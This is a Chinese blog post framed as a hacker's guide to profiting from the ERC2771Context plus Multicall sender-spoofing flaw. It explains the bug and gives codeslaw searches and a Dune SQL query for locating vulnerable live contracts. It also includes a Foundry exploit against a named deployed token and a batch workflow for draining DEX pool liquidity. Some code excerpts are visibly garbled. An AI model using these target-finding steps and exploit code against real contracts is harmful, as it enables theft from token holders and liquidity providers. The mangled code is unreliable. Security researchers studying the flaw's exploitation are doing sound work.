Web3 黑客指南:如何通过 OpenZeppelin 漏洞搞 $ ?

前言

Web3 对黑客最友好的地方就在于,只要有足够的技术水平,个人可以通过极低的成本获取丰厚的利润,且很难被溯源问责。

对于传统安全来说,实施网络攻击是比较复杂的。攻击者需要提前进行大量的准备:各类信息收集工具、1day 甚至 0day 漏洞利用工具、匿名服务器代理等等。这些工具的整理、平台的搭建甚至整个团队在实施攻击过程中的协作能力,需要付出大量的时间与金钱成本进行储备。而在付出了这些成本后,其实还没有特别清晰且有预期的变现方式,目前找到的普遍还是病毒勒索、贩卖数据的老路。

这些问题在 Web3 中都变得简单。不仅仅变现非常容易,甚至在技术积累这一层,由于现在各类链上数据分析工具、交易解析工具的丰富,对攻击者的要求也大大降低了。

前段时间(12月7号)OpenZeppelin 披露的 ERC2771Context Multicall[1] 漏洞并非是某个 DeFi 应用的具体漏洞,而是一种漏洞模式,在所有同时使用 ERC2771Context Multicall 两种模块的应用均受影响。这有点像 Web2 领域的 struct2 时刻,无数脚本小子都可以借着“时代”的红利分一杯羹。

即使没有搭建过自己的监控、交易分析平台,也依然可以利用各类免费工具,在漏洞披露早期寻找到有效的攻击目标并实施攻击获利。

漏洞成因

ERC-2771[2] 是一种早期的元交易标准。简单来说就是可以在协议中定义一个可信的 Forwarder,当协议处理从 Forwarder 中发起的合约调用时,会取 msg.data 最后 20 bytes 作为 msg.sender 来使用。

以下是 OpenZeppelin 的 ERC2771Context 实现:

// @openzeppelin/contracts/metatx/ERC2771Context.sol
abstract contract ERC2771Context is Context {
    function _msgSender(internal view virtual override returns (address sender{
        if (isTrustedForwarder(msg.sender)) {
            // 取 msg.data 最后 20 bytes 作为 msg.sender
            assembly {
                sender := shr(96, calldataload(sub(calldatasize(), 20)))
            }
        } else {
            return super._msgSender();
        }
    }
}

这是一个 Forwarder 的例子[3],通过签名验证后,Forwarder 会将 ForwardRequestfrom 放在 msg.data 的后面,然后进行合约调用。这样可以实际简单的 gasless 代付功能,允许真正的 sender 地址无任何 gas,只需要签名,就可以与协议交互。相比于 ERC-4337 AA 钱包的代付,这种方案的缺点在于,需要目标协议事先进行 ERC-2771 支持的集成。

这是 Forwarder 的核心代码示例:

contract Forwarder is EIP712 {
    using ECDSA for bytes32;

    struct ForwardRequest {
        address from;
        address to;
        uint256 value;
        uint256 gas;
        uint256 nonce;
        bytes data;
    }

    function execute(ForwardRequest calldata req, bytes calldata signature)
        public
        payable
        returns (bool, bytes memory)
    
{
        require(verify(req, signature), "MinimalForwarder: signature does not match request");
        _nonces[req.from] = req.nonce + 1;

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory result) = req.to.call{ gas: req.gas, value: req.value }(
            abi.encodePacked(req.data, req.from)
        );
        
        // ...
    }
}

上面两种实现是没什么问题的。但当合约中同时使用 Multicall 模块时,就会产生意想不到的问题。Multicall 模块允许发送一组 data,然后通过对自身进行 delegatecall,实现在一笔交易中对多个合约方法的调用。这种实现其实很常见,比如 Uniswap V3 的 Router 中就有类似的代码。

Multicall 核心代码如下:

// @openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol
abstract contract MulticallUpgradeable is Initializable {
    
    function multicall(bytes[] calldata dataexternal virtual returns (bytes[] memory results{
        results = new bytes[](data.length "");
        for (uint256 i = 0; i < data.length; i++) {
            results[i] = _functionDelegateCall(address(this), data[i]);
        }
        return results;
    }

    function _functionDelegateCall(address target, bytes memory dataprivate returns (bytes memory{
        require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
    }
}

回想前面 Forwarder 的实现,真正的 msg.sender 被放到 msg.data 的最后。而在 multicall 中,经过对 data 的拆分分发后,Forwarder 设置的 msg.sender 实际被丢弃了。会直接向目标合约传入完全用户可以控的 data[i]。攻击者可以在 data[i] 中伪造任意的 msg.sender。经过 delegatecall 后,对于协议来说函数调用方仍然是 Forwarder,因此会从 data[i] 尾部取出攻击者伪造的数据作为 msg.sender 来使用。

利用这个漏洞,攻击可以将自己伪装成任意地址与目标协议进行交互,将受害者的资产转移给自己。

寻找目标

漏洞成因已经十分清楚了,那么如何在链上寻找攻击目标呢?最直接的想法就是寻找同时继承了 ERC2771Context 和 Multicall 模块的合约。对于有一定规模的安全团队来说,如果日常已经维护着采集链上合约的平台,就可以直接在数据平台中进行搜索。

普通人来说要困难一些,不过幸好,已经有人做了类似的工作并公开给大家使用。在 codeslaw.app 网站中,可以直接搜索 ERC2771Context Multicall 关键字,查找代码中包含这两个字符串的合约。链接如下:

https://www.codeslaw.app/search?chain=ethereum&q=ERC2771Context+Multicall

搜索结果中可以看到很多符合要求的合约, 比如 DropERC20 合约[4] 就直接继承了 ERC2771Context 和 Multicall,完美的符合漏洞模式。

contract DropERC20 is
    Initializable,
    ContractMetadata,
    PlatformFee,
    PrimarySale,
    PermissionsEnumerable,
    Drop,
    ERC2771ContextUpgradeable, // <---
    MulticallUpgradeable,      // <---
    ERC20BurnableUpgradeable,
    ERC20VotesUpgradeable
{
    ...
}

进一步可以发现这个合约实际是一个 proxy 的 implementation 合约。在 codeslaw.app 的 dependencies 窗口中,可以方便的找到使用这个 implementation 的 proxy 合约。

Web3 黑客指南:如何通过 OpenZeppelin 漏洞搞 $ ?

排名第一的是 BOZO Token[5]。使用 dexscreener[6] 可以找到对应的 DEX 池子,发现竟然还有 $6K 的余量。

上面的测试是在 12月17日,此时已经距离 OpenZeppelin 披露漏洞细节过去了 10 天,然后还有漏网之鱼?

深入分析可以发现 BOZO 幸免于难的原因。原来虽然他继承了 ERC2771Context,但在合约初始化时,没有设置 Forwarders。因此实际上并不能使用 ERC2771Context 相关功能,进而不受漏洞影响。

通过 Phalcon 网站可以看到 BOZO 合约初始化时的调用细节。

Web3 黑客指南:如何通过 OpenZeppelin 漏洞搞 $ ?

目标过滤

那么如何找到初始化时设置了 Forwarders 的合约呢?为了避免手动看每个初始化交易的细节,我们需要更简单的批量过滤方式。

initialize 方法中的 _trustedForwarders 数组是最后一个变长参数,因此在正常的 abi.encode 过程中,这个数组的数据会被放到最后。对比初始化设置了 Forwarders 和没设置 Forwarders 的两个合约 initialize 时的 calldata

BOZO 如下:

Web3 黑客指南:如何通过 OpenZeppelin 漏洞搞 $ ?


RICH[7] 如下:

Web3 黑客指南:如何通过 OpenZeppelin 漏洞搞 $ ?

这是很明显的交易特征。可以通过 dune.com 编写 SQL 查询过滤。示例如下:

select 
    block_time,
    "from" as proxy,
    "to" as impl
from ethereum.traces 
where block_time > now() - interval '500' day
and call_type = 'delegatecall'
and bytearray_substring(input14) = 0xdfad80a6 -- initialize selector
and bytearray_substring(input-44) != 0x00000000 -- forwarders not zero.

我们可以找到调用 initialize 函数,且设置了 Forwarders 的合约。

进一步的,利用 dune,我们还可以查询出每种合约相应的交易次数,为合约打一些标签,从而更容易找到有价值的漏洞合约。

Web3 黑客指南:如何通过 OpenZeppelin 漏洞搞 $ ?

另一方面 dune 支持了主流的 EVM 链,这通过这种方式也可以方便的查到不同链上的漏洞合约。

漏洞利用

找到了目标合约,实际进行漏洞利用反而是比较简单的一步。这里直接给一个示例代码,这个代码可以实现 RICH token 的任意 approve。(注:该 Token 已经基本没有流动性,以下仅作示例,并不能实际获利)

function testMain(public {
    address owner = address(10001);
    address spender = address(10002);
    
    uint256 signerKey = 1;
    address signer = vm.addr(signerKey);

    address forwarder = 0x84a0856b038eaAd1cC7E297cF34A7e72685A8693;
    // RICH
    address token = 0x5aAEf4659c683D2B00Ef86aa70c6Ab2E5A00BCc7;

    console.log("before", IERC20(token).allowance(owner, spender));
    
    bytes memory data = abi.encodeCall(IERC20.approve, (spender, 10000));
    data = abi.encodePacked(data, owner);

    bytes[] memory datas = new bytes[](1 "] memory datas = new bytes[");
    datas[0] = data;

    data = abi.encodeCall(IMulticall.multicall, (datas));

    IBiconomyForwarder.ERC20ForwardRequest memory req;
    req.from = signer;
    req.to = token;
    req.data = data;
    req.deadline = type(uint256).max;
    req.txGas = gasleft();
    
    bytes32 digest = keccak256(
            abi.encodePacked("x19Ethereum Signed Message:n32",
            keccak256(
                abi.encodePacked(
                    req.from,
                    req.to,
                    req.token,
                    req.txGas,
                    req.tokenGasPrice,
                    req.batchId,
                    IBiconomyForwarder(forwarder).getNonce(req.from, req.batchId),
                    req.deadline,
                    keccak256(req.data)
                )
            )
        )
    );

    (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerKey, digest);
    bytes memory sig = abi.encodePacked(r, s, v);

    IBiconomyForwarder(forwarder).verifyPersonalSign(req, sig);
    IBiconomyForwarder(forwarder).executePersonalSign(req, sig);

    console.log("after", IERC20(token).allowance(owner, spender));

}

运行

[PASS] testMain() (gas: 99893)
Logs:
before 0
after 10000

进一步扩展这个利用形式,对于有流动性的 Token,则可以将 DEX 池中的有价格代币转走。链上观察到的攻击手法包括:

  • 利用漏洞将池子的 Token transfer 给自己,拉高池子价格,再进行 swap。
  • 利用漏洞将池子的 Token burn 掉,拉高池子价格,再进行 swap。
  • 利用漏洞把 Token 大量 mint 给自己,再进行 swap。
  • 等等

上述过程也可以直接通过合约完成。那么一个理想的批量攻击流程可能是:

  1. dune 输出可能的漏洞 ERC20 合约地址
  2. 上述地址脚本通过 dexscreener 过滤在 DEX 上有流动性的 token
  3. 调用攻击合约触发漏洞抽取流动性获利。

至此,一个在通用型漏洞披露过程中获利的思路及方法已经展示完毕。

不过现在再去应用上述方式可能收益有限,毕竟此时距离漏洞披露已经过了10天,大部分有价值的漏洞合约已经被吃干抹净。剩余的大多因为各类不同原因而无法利用。比如 SUPER[8] 所使用的 OpenZeppelin 库版本比较特殊, 在其 functionDelegateCall 不允许调用方为合约。因此通过 Forwarder 调用 Multicall 时会 revert。从而不受漏洞影响。

function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target) && !isContract(msg.sender), "Address: invalid delegate call");

(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}

我们在 Debank 上可以查看到某个攻击者 0x340509fee1005cce6ec075c53f7a7b2c7b769f9d 的交易记录[9],可以看其从 12 月 07 号开始,陆续攻击了 BSC, Polygon, Avalanche, Fantom, Base 等等多条上的不同漏洞 ERC20 合约。

这是一个示例交易[10]

Web3 黑客指南:如何通过 OpenZeppelin 漏洞搞 $ ?

攻击过程:

  1. 通过 Forwarder 发起交易
  2. 通过 multicall 触发漏洞,将 DEX Pool 的 token 转移到自身
  3. 调用 swap 兑换成 USDT 获利

后记

本文中使用到的工具包括:

  • 合约源码数据库 codeslaw.app
  • 交易 trace 分析平台 Phalcon
  • DEX 信息平台 DexScreener
  • 链上数据分析平台 Dune
  • 账户数据平台 Debank
  • 智能合约开发框架 Foundry

感谢所有 builder 的贡献。

本文展示的分析过程、定位漏洞合约的步骤看似繁琐,但实际都是利用公开的免费工具,对于熟练的安全人员,仅需要几个小时即可完成。对于经验丰富的攻击者,由于工具、代码储备更加完备,上述时间还要进一步缩短。通用型漏洞一旦被披露,几小时内就可能被批量利用。因此无论对于漏洞修复者,还是其他想捡漏的黑帽子而言,时间都是非常紧张的。在某种程度上正是 时间就是金钱 的完美诠释。

本文主要选择了最容易定位的 ERC20 类型合约作例子。实际这个漏洞还可能存在其他更复杂的 DeFi 协议中,但如何低误报的定位到这些协议,还需要更好的方法或工具。

寻找受影响的合约的过程中发现大部分受影响合约均与 thirdweb[11] 有关。回想最初 OpenZeppelin 漏洞披露的文章,发现此类漏洞模式的也是 thirdweb。thirdweb 是一个 web3 development toolkit,其中提供了 ERC20, NFT 等常见 web3 模板。作为模板 thirdweb 尽可能的集成了各类工具,因此其模板合约中普遍继承了 ERC2771Context 和 Multicall,从而大多都受此类攻击的影响。更进一步的追踪可以发现,原来 thirdweb 在 12 月 4 号就发现了这类问题,并发布了公告[12]。所以本质是 thirdweb 在自家产品中发现了问题,随后同步给了 OpenZeppelin。公告中列出了受影响的合约列表,同时 thirdweb 还发布了检测工具和修复工具。不过由于 thirdweb 合约模板在部署过程中使用的是不可更新的 proxy,所以对于 ERC20 类合约,实际并不能真正的修复,只是提供了快照工具,方便项目方重新发布新的替换合约。

参考资料

[1]

OpenZeppelin ERC2771Context Multicall 漏洞公告: https://blog.openzeppelin.com/arbitrary-address-spoofing-vulnerability-erc2771context-multicall-public-disclosure

[2]

ERC-2771 标准: https://eips.ethereum.org/EIPS/eip-2771

[3]

Forwarder 合约示例: https://etherscan.io/address/0xc82bbe41f2cf04e3a8efa18f7032bdd7f6d98a81#code

[4]

DropERC20 合约代码: https://www.codeslaw.app/contracts/ethereum/0xe1ee43d23f247b6a9af81fce2766e76709482728

[5]

BOZO Token 合约: https://etherscan.io/address/0x8ac4855b59ce5227d343983f73a4c14ff6241b4c

[6]

dexscreener 网站: https://dexscreener.com/ethereum/0x688447f73e59cef6f82735104f48a34db84b1598

[7]

RICH: https://explorer.phalcon.xyz/tx/eth/0x866156e7e98d48ec2075ebc6728141a57b1ec4a1f6022c293fe83417ee27a4f4?line=5

[8]

SUPER: https://snowtrace.io/address/0x15864F2962A6F562765C5F4481309Da736961DdC

[9]

攻击者 Debank 交易记录: https://debank.com/profile/0x340509fee1005cce6ec075c53f7a7b2c7b769f9d/history

[10]

攻击示例交易: https://explorer.phalcon.xyz/tx/bsc/0xe20bac3c298b807bc981fe2af9f83317976b3f5de6405b629572c77b295d83b9

[11]

thirdweb: https://thirdweb.com/

[12]

公告: https://blog.thirdweb.com/security-vulnerability/


原文始发于微信公众号(Diary of Owen):Web3 黑客指南:如何通过 OpenZeppelin 漏洞搞 $ ?

版权声明:admin 发表于 2023年12月17日 下午9:36。
转载请注明:Web3 黑客指南:如何通过 OpenZeppelin 漏洞搞 $ ? | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...